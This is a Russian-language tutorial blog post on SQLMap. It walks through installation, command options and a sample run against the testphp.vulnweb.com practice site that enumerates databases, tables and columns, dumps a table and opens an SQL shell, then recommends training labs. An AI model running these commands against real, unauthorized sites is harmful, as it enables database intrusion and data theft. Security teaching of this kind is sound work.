SQL инъекции до сих пор остаются одной из наиболее распространенных уязвимостей веб-приложений. Хакеры активно используют их для получения несанкционированного доступа к базам данных и хищения конфиденциальной информации. Для этой цели существует множество инструментов, один из которых — SQLMap. В статье расскажу, что такое SQLMap и покажу как его использовать.
Еще по теме: Взлом сайта с помощью SQLMap
Что такое SQLMap
Sqlmap — это бесплатный инструмент на Python, для автоматизации поиска, эксплуатации и тестирования уязвимостей SQL.
Возможности SQLMap:
- Автоматическое обнаружение SQL инъекций, в том числе слепых инъекций.
- Внедрение в веб-приложение для выполнения произвольных SQL запросов и получения несанкционированного доступа к БД.
- Извлечение данных из БД, включая пароли пользователей.
- Возможность работы через прокси и эвазионные техники для обхода WAF.
- Поддержка широкого списка СУБД, включая MySQL, Oracle, PostgreSQL и др.
Этот инструмент способен обнаружить уязвимости SQL-инъекции с использованием различных методов. Если будет обнаружена уязвимость, он способен атаковать сервер для определения имен таблиц, загрузки базы данных и автоматического выполнения SQL-запросов.
Как только он обнаруживает SQL-инъекцию на целевом хосте, вы сможете:
- Провести обширное обнаружение версии базы данных бэкэнда
- Получить имя пользователя и базы данных сессии DBMS
- Перечислить пользователей, хеши паролей, привилегии и базы данных
- Выгрузить всю таблицу/столбцы DBMS или конкретную таблицу/столбцы пользователя
- Выполнить пользовательские SQL-запросы
Установка SQLMap на Kali Linux
SQLMap по умолчанию установлен в некоторые секьюрити дистрибутивы, такие как Kali Linux (в полной версии).
Для установки SQLMap на Kali Linux (легкую версию) или другие дистрибутивы на базе Debian, выполните команду:
1 |
$ sudo apt-get install sqlmap |
Еще один способ установки — это скачивание из репозитория проекта на GitHub.
Использование SQLMap на Kali Linux
После установки, откройте справку и изучите параметры использования:
1 |
$ python sqlmap.py -h |
Параметры запуска:
1 2 3 4 |
-h, --help — показать основное сообщение справки и завершить выполнение -hh — показать расширенное сообщение справки и завершить выполнение --version — показать номер версии программы и завершить выполнение -v VERBOSE — уровень детализации: 0-6 (по умолчанию 1) |
Цель — должен быть предоставлен хотя бы один из этих параметров для определения цели(ей):
1 2 |
-u URL, --url=URL — целевой урл(например, "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK — обработать результаты Google dork как целевые урлы |
Инъекция — эти аргуемнты могут быть использованы для указания, какие параметры тестировать, предоставить пользовательские внедряемые данные и необязательные сценарии модификации:
1 2 |
-p TESTPARAMETER — параметр(ы), подлежащий(е) тестированию --dbms=DBMS — принудительно задать используемую СУБД (базу данных) |
Обнаружение — эти аргументы могут быть использованы для настройки фазы обнаружения:
1 2 |
--level=LEVEL — уровень тестирования (1-5, по умолчанию 1) --risk=RISK — уровень риска тестирования (1-3, по умолчанию 1) |
Техники — эти аргументы могут быть использованы для настройки тестирования конкретных техник SQL-инъекций:
1 |
--technique=TECH.. — используемые техники SQL-инъекций (по умолчанию "BEUSTQ") |
Перечисление — эти аргументы могут быть использованы для перечисления информации о СУБД, структуре и данных в таблицах:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
-a, --all — получить все -b, --banner — получить баннер СУБД --current-user — получить текущего пользователя СУБД --current-db — получить текущую базу данных СУБД --passwords — перечислить хеши паролей пользователей СУБД --tables — перечислить таблицы базы данных СУБД --columns — перечислить столбцы таблиц базы данных СУБД --schema — перечислить схему СУБД --dump — получить записи таблицы базы данных СУБД --dump-all — получить все записи таблиц всех баз данных СУБД -D DB — база данных СУБД для перечисления -T TBL — таблица(ы) базы данных СУБД для перечисления -C COL — столбец(ы) таблицы базы данных СУБД для перечисления |
В первую очередь, используем параметр -u, чтобы ввести адрес целевого сайта:
1 |
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" |
После выполнения предыдущей команды видно, что параметр cat подвержен уязвимости.
Следующим шагом будет получение информации о существующих базах данных.
В этом примере мы используем стандартный запрос на основе HTTP GET к URL с параметром (?id=X). Это позволит проверить различные методы SQL-инъекции относительно параметра id (аргумент --dbs):
1 |
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs |
Выполнение команды отобразит информацию о базах данных acuart и information_schema.
После того как инструмент определит базу данных, он может предложить протестировать другие типы баз данных или другие параметры сайта.
Как вы увидите в выводе ниже, мы можем продолжить тестирование целевой системы без необходимости повторного тестирования уязвимости. SQLMap использует информацию, которой он располагает о сайте, для дальнейшей эксплуатации целевой базы данных. Чтобы извлечь данные, просто добавляем параметр к предыдущей команде. Добавив --tables попытаться извлечь все таблицы в интересующей нас базе данных.
Для перечисления информации о таблицах, присутствующих в конкретной базе данных используется аргумент -D вместе с именем базы данных . В следующем примере мы используем опцию --tables для доступа к базе данных information_schema:
1 |
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D information_schema –tables |
Выполнив команду, мы сможем получить информацию о таблицах, доступных в базе данных information_schema.
Было восстановлено 79 таблиц из базы данных information_schema. Мы можем продолжить перечисление информации о столбцах конкретной таблицы. Для этой задачи мы можем использовать параметр -T в сочетании с именем таблицы, чтобы увидеть столбцы определенной таблицы. Точно так же мы можем получить имена столбцов с помощью опции --columns.
Следующей командой попробуем получить столбцы определенной таблицы. В этом случае мы указываем таблицу с помощью параметра -T, а с помощью --columns указываем отображение столбцов.
1 |
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D information_schema -T ADMINISTRABLE_ROLE_AUTHORIZATIONS --columns |
Выполнив предыдущую команду, мы сможем извлечь информацию о столбцах, доступных в таблице administrable_role_authoritzations. В данном случае — 9 столбцов.
Аналогично, мы можем получить доступ ко всей информации в определенной таблице, используя следующую команду, где запрос --dump извлекает все данные из таблицы products в базе данных acuart:
1 |
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T products --dump |
Выполнив предыдущую команду, мы сможем получить информацию о записях, доступных в таблице products. В данном примере было восстановлено три записи.
Выполнив следующую команду, мы сможем извлечь информацию обо всех таблицах в текущей базе данных. Для этой задачи, чтобы получить все имена таблиц и имена столбцов, используем аргументы --tables и --columns:
1 |
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --tables --columns |
Выполнив следующую команду, мы можем получить шелл для взаимодействия с базой данных с использованием языка запросов SQL:
1 |
$ sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?cat=1' --sql-shell |
Параметр -sql-query выполнит указанную нами команду/запрос. В данном примере, так как мы используем SELECT, он вернет результат запроса. Если бы это была другая команда, такая как UPDATE или DELETE, он выполнил бы только запрос и вернул количество затронутых строк. Таким образом, у нас есть реальный контроль над данными, содержащимися в базе данных.
Где новичку практиковаться по SQLi?
Я рекомендую пройти пару тренировочных заданий. Например, модуль HTB Academy, посвященный SQLi, или аналогичный модуль на площадке TryHackMe. А еще лучше — оба!
Затем можете заглянуть на сайт PortSwigger и пройти «путь» SQL injection. Сразу предупреждаю, что он сложный и даже очень сложный для новичка, но там везде приведены ответы. Лучше в них не смотреть сразу, но, если вдруг застрянете, они выручат.
Еще могу порекомендовать две очень интересные лабораторные работы с площадки Hack The Box: PC и Magic или хотя бы те их части, что связаны с атаками на веб и получением пользовательского флага (повышение привилегий в Linux можете пока не трогать).
Заключение
Как видите, инструмент имеет множество комбинаций и возможностей, которые могут помочь эксплуатировать уязвимость. SQLMap — самый популярный инструмент на Python, для обнаружения уязвимостей, связанных с SQL-инъекциями в веб-приложениях. Тулза должна быть в арсенале каждого специалиста по информационной безопасности.
В следующей статье продолжим изучать инструменты связанные с SQL-инъекциями в веб-приложениях.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Инструменты для определения WAF
- Простой пример обфускации SQL-инъекции
- Пример SQL-инъекции с помощью Burp Suite на DVWA